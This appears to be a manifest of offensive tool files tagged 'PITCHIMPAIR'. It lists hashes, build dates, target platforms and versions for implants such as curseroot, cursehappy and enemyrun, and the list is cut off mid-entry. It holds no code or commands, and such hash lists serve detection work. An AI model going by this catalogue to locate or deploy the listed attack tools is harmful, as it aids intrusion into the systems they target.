[PITCHIMPAIR.xx] curseroot.mswin32_v.1.2.2.9 +6438D10D5FC4D9C349B0BFA38EFD0ED5D328E6A4 Tue May 19 18:52:06 2009 [PITCHIMPAIR.xx] curseroot.aix5.1_v.1.2.2.9 +B3370BB449078047FB7BB9B8425CDCC2A3015326 Fri Sep 21 17:18:16 2012 [PITCHIMPAIR.xx] curseroot_flx.hpux11.00.risc_v.1.1.0.3 +7466C5ED2265CA3A9C20B400FB2F848BD45A5B09 Wed Jan 6 19:53:36 2010 [PITCHIMPAIR.xx] curseroot.hpuxb.11.00_v.2.0.0.3 +8D8996D5B82BC9AAA0310B982FD048FB77644107 Wed Mar 28 11:54:15 2012 [PITCHIMPAIR.xx] curseroot.linux2.6.5-7.97-smp.i686_v.2.2.0.7 +3D7B80D8003A10D08ECA4FFDD595F105FAB50FA3 Wed Mar 28 11:54:08 2012 [PITCHIMPAIR.xx] curseroot.hpux11.00.risc_v.2.2.0.7 +253E0E246633E603E58DAB97E1D4782FB7DDDA84 Fri Mar 23 11:43:05 2012 [PITCHIMPAIR.xx] curseroot.win2k.i686_v.2.2.0.7 +D114B8EC196B7DEFEEE751CE73932B6F952178BE Wed Mar 28 11:54:26 2012 [PITCHIMPAIR.xx] curseroot.sunos5.8.sparc_v.2.2.0.7 +322B5DF8813723004AA6E91F541DEB4D510030FA Wed Jun 17 10:45:24 2009 [PITCHIMPAIR.xx] curseroot.linux2.6.5-7.97-smp_v.1.2.2.9 +DECFE5F18D8A50525A0C8A9F52503D35A213C267 Tue Jul 31 16:34:11 2012 [PITCHIMPAIR.xx] cursesalsa.hpux11.00.risc_v.1.0.0.1 +B310FEDF0D9B19C58AAE2B35ACA73A292558D702 Thu Jul 3 14:58:53 2008 [PITCHIMPAIR.xx] cursesleepy.mswin32_v.1.0.0.5 +7060A7B90CDEE01ED2EC5F2088FF3E280844DCE3 Thu Feb 18 21:00:43 2010 [PITCHIMPAIR.xx] cursetails.aix5.1_v.1.0.0.1 +F7EA435175DEE6B6D9017120781FB5CB99CF5CD2 Thu Sep 18 16:42:55 2008 [PITCHIMPAIR.xx] cursetingle.aix.5.1_v.1.1.1.1 +9B6399503D696C83D6EA4073321A20E84B354EAE Thu Aug 27 16:45:01 2009 [PITCHIMPAIR.xx] cursetingle.mswin32_v.2.0.0.1 +EB36543FF084B04AEE005D848EE3A9568A6674CA Thu Aug 27 16:45:01 2009 [PITCHIMPAIR.xx] cursetingle.sunos5.8_v.2.0.0.1 +08E4FF1E990A02810623A37796B9FB82D6655F25 Thu Aug 27 16:45:01 2009 [PITCHIMPAIR.xx] cursetingle.aix.5.1_v.2.0.0.1 +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:24:22 2010 [PITCHIMPAIR.xx] cursetingle.aix5.1_v.2.0.1.1 +8ABAC3C15A23BA4DDCD52114F96B4BB740EFF6B3 Wed Jun 1 14:14:24 2011 [PITCHIMPAIR.xx] cursetingle_flx.aix5.1.powerpc_v.1.0.1.3 +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:39:02 2010 [PITCHIMPAIR.xx] cursetingle.2.0.1.2.mswin32_v.2.0.1.1 +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:38:56 2010 [PITCHIMPAIR.xx] cursetingle.sunos5.8_v.2.0.1.1 +41DC7887C46CCDEA6A771FF0201E29193754FCCF Thu Jul 10 13:13:45 2008 [PITCHIMPAIR.xx] cursetingle.sunos.5.9_v.1.0.0.7 +D7F9D7433CB9E3F14C6640DE19DFCCD2CB6C295C Thu Jul 10 13:13:37 2008 [PITCHIMPAIR.xx] cursetingle.mswin32_v.1.0.0.7 +EA087A035E3E01804E8E43C9DA8AB58C25A3038B Tue Mar 20 16:51:07 2012 [PITCHIMPAIR.xx] cursewham.linuxrh7.3.i686_v.1.1.0.1 +E6D8C35163092B1235B6356214610361B6FBB7DC Tue Feb 28 16:40:38 2012 [PITCHIMPAIR.xx] cursewham.win2k.i686_v.1.1.0.1 +427536C8C3BBC2B60217AD36F3BB7CE107810933 Thu Aug 11 12:53:03 2011 [PITCHIMPAIR.xx] cursewham.win2k.i686_v.1.0.0.3 +2D05D3842733B74764362F4117212F3D39E4610D Thu Jan 7 13:13:31 2010 [PITCHIMPAIR.xx] curseyo.win2k_v.1.0.0.1 +A58C9E3E5B1AC639A6984D1CA271C568C2AFDCE3 Thu Apr 14 13:13:24 2011 [PITCHIMPAIR.xx] cursezinger_flx.win2k.i686_v.1.0.0.2 +23D1A5F85A02ECDBF14FE77A7D9C256AE63A1053 Tue Jul 19 16:44:17 2011 [PITCHIMPAIR.xx] cursezinger.win2k_v.2.0.0.2 +D01B0DBD4496AB9C47E64272AA01EC8AAFC6D84D Tue Jul 19 16:44:17 2011 [PITCHIMPAIR.xx] cursezinger.linuxrh7.3_v.2.0.0.2 +52FA122317861F7B506BD42435E6A96F48C69514 Fri Jan 27 21:17:35 2012 [PITCHIMPAIR.xx] cursezinger.sunos5.8_v.2.0.0.2 +8849F4B7B2DD9F106BB1499D9474E9BEE5FF3C64 Wed Jun 16 12:13:58 2010 [PITCHIMPAIR.xx] cursezinger.linuxrh7.3_v.1.0.0.1 +BC7C9839441097E8D1DA64E9864D0474F2452572 Wed Jun 16 13:01:11 2010 [PITCHIMPAIR.xx] cursezinger.win2k_v.1.0.0.1 +6E4C1302C79A610EBFA3B24BBAAFA67F438D865B Fri Sep 17 17:06:00 2010 [PITCHIMPAIR.xx] cursezinger.win2k_v.1.1.0.3 +52432EFB738D4EE975D1064BFCB0E73195991C04 Fri Sep 17 17:06:00 2010 [PITCHIMPAIR.xx] cursezinger.linuxrh7.3_v.1.1.0.3 +9A6B894B022E311F059EFB50DDB656CEF014DF64 Wed Oct 13 12:40:44 2010 [PITCHIMPAIR.xx] cursezinger.win2k_v.1.2.0.1 +F6567080A506403DFA7399AA4EBCE64DD9DCDD52 Fri Oct 22 14:37:19 2010 [PITCHIMPAIR.xx] cursezinger.win2k_v.1.2.1.1 +6BCA7BFF280DCB01D708286E376410C438B6F9B4 Fri Oct 22 14:37:19 2010 [PITCHIMPAIR.xx] cursezinger.linuxrh7.3_v.1.2.1.1 +BFD3DB20E680E1C86D96890A9DC28A23F77EE395 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_liquidsteel.def +3C1DF27B3D8A916AFD5964FFF0CC7AC8BD23ED56 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_wholeblue.def +251239DB5B366270CDFA102C946A770E93150CF1 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_serenefire.def +A86D5F26ABC665BBA6B8C6B9FE43EE5B60902DC0 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_shakengiraffe.def +F82A5048C70FBEDDC0A0D0DA744C95691E5A84DF Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_coastalvortex.def +7B9993F5452169007DB5AA7FEFE0DEB4D39B38C4 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_sloshedgalah_a.def +576F21F463CD31FB7537159B21C000F3D02BCD08 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_sloshedgalah.def +9DCD211BB1AC3B42F2D82593E765AED5291BF10F Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_editionhaze.def +F15C0D7475F24D57A0DDD64301D9722E4C6133DC Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_silenttongues.def +EC4067720EF67F87F1DA149F685A920035289DE2 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_sicklestar.def +0BDF2D3899FE46B93786374EEBBCEC7A3F8A6187 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_serenecosmos.def +6ECBD8F6AD69430F218D03FCED61AE9C28BAF87D Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_diamondaxe.def +2178F21F6EBD967DCDC53918043D8DAD4D35290B Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_coastalstorm.def +C699D32DAB56EA5EEC25D100C9CB3590CD58C709 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_coastalburn.def +A6929A7C8A25F033A8261607347E5885E3C6803D Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_darkaxe.def +9CC3EBBDDAC5B2270878B6291CD3D90DE7E85649 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_paperfish.def +23EE35962023D72BFB021E2E8937CC8B6095E635 Mon Mar 1 16:58:05 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.0.0.1_darkaxe_moc_mtc_only.def +1961403A389AA9653215546438571720835A4689 Thu Aug 19 19:53:17 2010 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.1.0.1_wholeblue.def +E14E0DFF1A030665E39B02ED2EB7046641627BFE Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_liquidsteel.def +8413E3019FBD6FC661B056C98B6B33FE5E0603B1 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_wholeblue.def +49705A37A69390E2ABAAB508388BD9CC86ECBBA1 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_serenefire.def +857CEAB84D0A16C682D9DC00260B0D02419E0012 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_shakengiraffe.def +AD83E494D0A6B6AA2054057A02B4788B371CCF61 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_coastalvortex.def +3B3BEC1976DF159B9E2B82A6CAC358E156DBD664 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_sloshedgalah.def +1ECF586F8E8E9650DA1B00329903BCF55BEBC21A Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_sloshedgalah_a.def +EB414EBA11C7CC3A90A85C4D309284672B401C88 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_editionhaze.def +2933B4AF9C7C0E0CB79EA69490C2E24FB9FF6806 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_silenttongues.def +F0C90A7F2CE120DE182DEA28ED9CCC15A5D6DE6B Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_sicklestar.def +49055EE6C916C2B6B64A20F31B254CBE9ADDC114 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_serenecosmos.def +AAB5302FBD7740DDA4FBC93DC337F6C274F26353 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_diamondaxe.def +7D5EC70CEA5E2FC8F6998A7FE925F58918638FF6 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_coastalstorm.def +A5CDB89C152D912A7345CDBA4D6D31FEE3D2F498 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_coastalburn.def +EBC4E8AEC8FE49C7E1F9DE51379342B088AB3F52 Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_darkaxe.def +C6728288F07E895BA8292C504CCAE6602150D60F Tue Nov 8 16:43:46 2011 [PITCHIMPAIR.xx] cursehappy_hpux_v.6.2.0.3_paperfish.def +3A67D14F31382091464C351FB1E3233327ABD2C1 Thu Apr 9 15:37:00 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_editionhaze.def +BC959233089AC8541034245E41E257B17F170342 Thu Apr 9 15:39:31 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_silenttongues.def +DBB2E08DD34A9BE28515B9D5F126727752E36FC8 Thu Apr 9 15:39:20 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_sicklestar.def +7720BF9C08C6D108E6BAD601C6EA9085EF271EE5 Thu Apr 9 15:37:09 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_liquidsteel.def +DD120D8D6F2A1ADEA2144BD7604AD703F4403E7D Thu Apr 9 15:38:45 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_serenecosmos.def +2725F1ADF5FF426EAF7581EBE372F652AF7E302C Thu Apr 9 15:39:43 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_wholeblue.def +4EB0165C56DDAED4E081FD6834BEDD8597767090 Thu Apr 9 15:38:58 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_serenefire.def +8EF4758951A97A257CFFB6739D4B14D70F849635 Thu Apr 9 15:36:48 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_diamondaxe.def +FED3DEAB75C9E6E7A64C2FA6B3489243A9401EC6 Thu Apr 9 15:36:14 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_coastalstorm.def +B9D2EC0D0D2A1C0D1BDFD4330F27050FE199409B Thu Apr 9 15:36:02 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_coastalburn.def +D004D0578D9EC7EF294132A8F2F16463EC61881E Thu Apr 9 15:39:09 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_shakengiraffe.def +6E232ABE39D45E79FC45059EEF4061FF82C62AB7 Thu Apr 9 15:36:37 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_darkaxe.def +5E43B1DE915429F25784E86C7FF3BD7B0BF0A996 Thu Apr 9 15:37:21 2009 [PITCHIMPAIR.xx] cursehappy_hpux_11.00_v.5.0.0.5_paperfish.def +CF097DD7F41B28BEF37872C3A365F06C745795F8 Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_silenttongues.def +206FB9B0C4082713BF196ED46B9804ED396755F6 Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_editionhaze.def +6CD24B209838FB24E1C315B562BC20DE84E2AECE Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_sicklestar.def +94FB6A9E314411A8B7E218FE9D90024D7CD2F5BC Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_liquidsteel.def +F90BF1760240DE17E5FC071F1C3063A05E1DD520 Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_serenecosmos.def +142AED7F932D815AE0377A85A6DC2F26034C0E51 Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_wholeblue.def +91789934742FEF4C0FE5D2052F9EC510BC628CDC Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_diamondaxe.def +7B891F110A778F684231C33AF9EC7CF8F384FE2E Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_coastalstorm.def +2B1F44DB220DC26A58007DA88B0683952B40D520 Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_shakengiraffe.def +EF6BE9C97CC8B07B276FC0ABEFA4C0A396603462 Wed Jan 2 21:31:45 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_darkaxe.def +0D7217C6F1F1A51D7D6FC0CA007256677C3190EF Mon Jul 23 14:20:49 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_wholeblue.def +787291960EA1A4A25FCB7CEC211CD6877F3FF283 Mon Jul 23 14:18:37 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_diamondaxe.def +A08866353BC5953B6346F07E0607E4B93504098D Mon Nov 27 20:43:41 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_editionhaze.def +258C7D06A42F22F0D2855DB2EE499C5B44BB412B Mon Nov 27 20:44:56 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_silenttongues.def +EEF893ED6057D23F410EF37B82F4F7B9478BBDC3 Mon Nov 27 20:44:48 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_sicklestar.def +63DE1E981DB1317838756EBCDDAC8483AAF93AFE Mon Nov 27 20:44:07 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_liquidsteel.def +42BE054AE4D7EBEB277254A95272B261F0361227 Mon Nov 27 20:44:28 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_serenecosmos.def +50D7874B6856A3E89C31CCFE8CBBD02E0FD5E345 Mon Nov 27 20:45:04 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_wholeblue.def +0222399D32F29B0539FCDA4FC2122953CED91F95 Mon Nov 27 20:44:40 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_shakengiraffe.def +F72B0887165ACB48F5EAE807F38B181D4B6BC813 Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_editionhaze.def +071C48EBECF9350BA4CF8BA2BACFB9AB119722CF Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_serenecosmos.def +A68A987E1791B424F6A2DFB0FFF8EA73A88F73F7 Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_wholeblue.def +93BEB97832FE20B31CFE097FFDCF83BF8651BDF5 Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_diamondaxe.def +419926A12101EAE1ECAE7EDD9474848F2DE3A6E7 Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_vocalcottage.def +F4B60A44092B48545A6E4B97C5D1E887F0A45C7E Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_coastalburn.def +EBE567BFD4EC9CFCF52C65F74C63CBB2F03A71DD Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_stirredgibbon.def +3A6C1612CA4A4EAF6D8DA11D6C3F669E7EBC17F6 Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_sloshedgalah.def +763EB2323E24DDEE62EA598C2F7926282A648335 Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_darkaxe.def +013A8D6BDC153C1396D748F2B096445A49D07258 Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_fiestarun.def +4A8347414EA85A57192CBFFBA1A7A3E103D2BD85 Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_ironglass.def +1FC5F577788D811FD405D069F779206E8190CA3F Fri Oct 14 15:39:35 2011 [PITCHIMPAIR.xx] cursemagic_aix_v.2.1.0.3_paperfish.def +DD7D0E240C0643E75CFA2AA6E55CABEA17C5A4C3 Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_editionhaze.def +74BC2BA60060F7F739879EE84AB9D14475694073 Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_serenecosmos.def +7A95F5D43F7C484456796BB5F74D3D977F85F6B8 Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_wholeblue.def +96F4B94FBEA64584D82C6892332956EC9426FE4E Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_diamondaxe.def +A3E68E6B40FC1F4BBF1506F4E4D832F389669933 Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_vocalcottage.def +9BEB9D7CE0DED7338285CC29D610A003F2B0C71F Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_stirredgibbon.def +DAA63BBA2DAF7E157A24F2824408240A85655050 Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_coastalburn.def +1D36BF459C845B73EAB88AF3FA89DA64A41E4724 Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_sloshedgalah.def +D3298E27F6F6A3D2D98339818989D555DE60E1AA Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_fiestarun.def +559FA9C9AF7B149D7E8EC7ED88135EEE4CDC4C46 Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_ironglass.def +8836E57B5867DD3BCFF8C62478232FC059B28090 Tue Apr 20 18:57:57 2010 [PITCHIMPAIR.xx] cursemagic_hpux_v.2.0.1.1_paperfish.def +15AB11863C523DD274B9638AC4C5EDC09D009AB1 Mon Jan 30 13:09:20 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_serenemount.def +44B5C9749A14B6F4F44D36562CF3BA4C84F01989 Mon Jan 30 13:09:20 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_sicklestar.def +4DD570DF33B004955834B3D02E1A939DE134E7D0 Mon Jan 30 13:09:20 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_mossyoak.def +23D3981691669366E013B855B5244D754CE00ADF Mon Jan 30 13:09:20 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_spamjavelin.def +F5EDD2B65AC044E6538706114CAC78D765EFCB27 Mon Jan 30 13:09:20 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_sloshedgalah.def +E8DE3FFDE642F33940EB7B17304F17138AFF4961 Mon Jan 30 13:09:20 2012 [PITCHIMPAIR.xx] cursezinger_solaris_v.2.0.0.2_doublearsenal.def +B18A53F08C39EBC0D222D7B2BABCE09F63C57D73 Mon Mar 15 15:03:42 2010 [PITCHIMPAIR.xx] cursebingo.v2.0.0.3.sunos5.8_v.solaris +0564E3F02B58EA50F9E37AD41ED8894484A2D0BA Thu Apr 12 11:59:11 2012 [PITCHIMPAIR.xx] curseclash.v1.0.0.3.aix5.1.powerpc_v.superceded +05C9C15D028FCB775D8131339FCA9BF35429B01C Fri Sep 26 15:55:36 2008 [PITCHIMPAIR.xx] cursehole.v1.1.0.3.aix5.1_v.aix_51 +40829E57EC1CE506E3B2BF681AB1DD7C6216B864 Mon Aug 17 18:48:58 2009 [PITCHIMPAIR.xx] cursehole.v1.1.1.1.aix5.1_v.aix_51 +C8C5F054286140C25FC96F82F099D76D67E136ED Thu Jul 22 13:03:19 2010 [PITCHIMPAIR.xx] cursetingle_flx.v1.0.0.9.aix5.1.powerpc_v.superceded +8CA41956ED63025C8760F3EBD4B704F7C7CB7F70 Wed Jan 2 21:36:13 2008 [PITCHIMPAIR.xx] cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 +100CD2DD37B8E94CAB80AA62AB52D280075AF9B9 Wed Jun 11 18:31:44 2008 [PITCHIMPAIR.xx] cursehole.v1.0.0.6.sunos5.9_v.solaris_9 +E7950DEE4159585B117056C3A41BD677687F1747 Wed Jan 2 22:24:33 2008 [PITCHIMPAIR.xx] cursehummer.hp-uxb.11.11_v.1.0.0.11 +A0B41C0CFCE32EFB02A72D290265BE0D0E9AFC11 Mon Sep 29 17:59:58 2008 [PITCHIMPAIR.xx] curselion.aix.5.1_v.1.0.0.10 +D02B913D9566369278A77F9F6C3BB268509C2E8E Mon Mar 12 21:17:13 2007 [PITCHIMPAIR.xx] curserazor.sunos5.10_v.1.1 +A268B392B04210156950928B9FC80674E1BBAF3B Tue Aug 7 20:47:56 2007 [PITCHIMPAIR.xx] curseroot.v1.1.0.3.sunos5.8_v.1.1.0.3_solaris8 +8C056E61D9379D4981F38BDC65F4344A7A2CC959 Tue Aug 7 20:48:27 2007 [PITCHIMPAIR.xx] curseroot.v1.1.0.3.sunos5.9_v.1.1.0.3_solaris9 +D01502934C089EA1316F659B5DBC80AE891DCA11 Tue Aug 8 14:21:17 2006 [PITCHIMPAIR.xx] dampcrowd.i686-pc-linux-gnu-redhat-5.0_v.2.0.0.1 +3A4BE0A37F98276B427F0EC2985475232B549B28 Tue Aug 8 14:21:17 2006 [PITCHIMPAIR.xx] dampcrowd.sparc-sun-solaris2.5.1_v.2.0.0.1 +58BD98A189A88173E8A705D854C220192D58A288 Sat Jun 15 13:58:38 2013 [PITCHIMPAIR.xx] dampcrowd.i386-pc-solaris2.6_v.2.0.0.1 +84351B4174D5CDB8B79FE0D27BDD2F0A821F1977 Tue Aug 15 19:29:14 2006 [PITCHIMPAIR.xx] dampcrowd.powerpc-aix3.4_v.2.0.0.2 +A83C41B50DB8A6D4B8EC62CA994123E9FD20C539 Thu Jul 31 20:35:17 2008 [PITCHIMPAIR.xx] dampcrowd.pa-risc1.1_v.2.0.1.1 +1E828B954122123263D9A1516067C356DFE89BCF Tue Jun 26 19:52:17 2012 [PITCHIMPAIR.xx] deepfryer.php_v.2.1.0.1 +995E8CB7297D918ADCF2CC73DE3E02870F2E2610 Thu Jun 14 15:16:07 2007 [PITCHIMPAIR.xx] enemyrun.hp-uxb.11.00_v.2.3.1.3 +BD2E4B80BCA2E0448A10B49C9211E962C7F531BA Thu Jun 14 15:16:52 2007 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.2.3.1.3 +95F0010C4DAC390B86A1BC8AC750B9FB09B127F1 Wed Mar 12 16:26:15 2008 [PITCHIMPAIR.xx] enemyrun.hp-uxb.11.11_v.2.3.2.2 +236D1446715D6794E6D4218A61F975AF284A3983 Thu Aug 7 18:33:58 2008 [PITCHIMPAIR.xx] enemyrun.sunos5.10_v.3.0.0.1 +8925A64B042AC51FD9D8112D10269CBDE6A60C8D Thu Aug 7 18:33:41 2008 [PITCHIMPAIR.xx] enemyrun.hp-uxb.11.00_v.3.0.0.1 +9CEA4BD6BC1CE05D92DDBFF0EA69906834F4C94B Thu Aug 7 18:34:29 2008 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.3.0.0.1 +C716B4A5127803FDFD1350172AF279D7CBB0452A Thu Aug 7 18:34:39 2008 [PITCHIMPAIR.xx] enemyrun.sunos5.9_v.3.0.0.1 +778D0D1B0881148C9A2429EC53BAC7F462D4E448 Thu Aug 7 18:33:50 2008 [PITCHIMPAIR.xx] enemyrun.hp-uxb.11.11_v.3.0.0.1 +88F63349411F0263B58E96E96AA1701AFF29D5C5 Tue Sep 15 12:15:22 2009 [PITCHIMPAIR.xx] enemyrun.linux2.4.21-37.elsmp_v.3.1.1.4 +C46F5A9FB3621E1979B7B270C2C06AA85AA71271 Tue Sep 15 12:15:22 2009 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.3.1.1.4 +18B57F98F1D17260E732E3BCA7C4741F29E20F04 Tue Sep 15 12:15:22 2009 [PITCHIMPAIR.xx] enemyrun.hp-uxb.11.00_v.3.1.1.4 +1795F7CBDD912BC708C10543B865A81116A79022 Wed Jun 23 15:19:54 2010 [PITCHIMPAIR.xx] enemyrun.linuxrhl7.3.i686_v.3.2.0.1 +64E154C2E4E8AE0FC8C6B3E647689A478ADA868E Wed Jun 23 15:19:54 2010 [PITCHIMPAIR.xx] enemyrun.sunos5.8.sparc_v.3.2.0.1 +F1DA6A10245538A9DA6801B0610EED697B9544E9 Wed Jun 23 15:19:54 2010 [PITCHIMPAIR.xx] enemyrun.sunos5.8.i386_v.3.2.0.1 +A9B5F528CA6D7C07C8A886AE6600309C7D92BE2A Wed Jun 23 15:19:54 2010 [PITCHIMPAIR.xx] enemyrun.linuxrhe3.6.i686_v.3.2.0.1 +FE6472A06744737187AB6BF9C541362DFB13C615 Wed Jun 23 15:19:54 2010 [PITCHIMPAIR.xx] enemyrun.hpux11.00.parisc_v.3.2.0.1 +99FDFEC3A7987E0AC44A70A1E151B0D7CF255F93 Mon Feb 13 12:46:38 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.4.0.0.5 +7120D410762BEFC7C52320DD3EADC6E9F9572B48 Mon Feb 13 12:46:38 2012 [PITCHIMPAIR.xx] enemyrun.hpux11.00_v.4.0.0.5 +BA230F9E0CDB877EFEB4D0FA607E60E249852D42 Mon Feb 13 12:46:39 2012 [PITCHIMPAIR.xx] 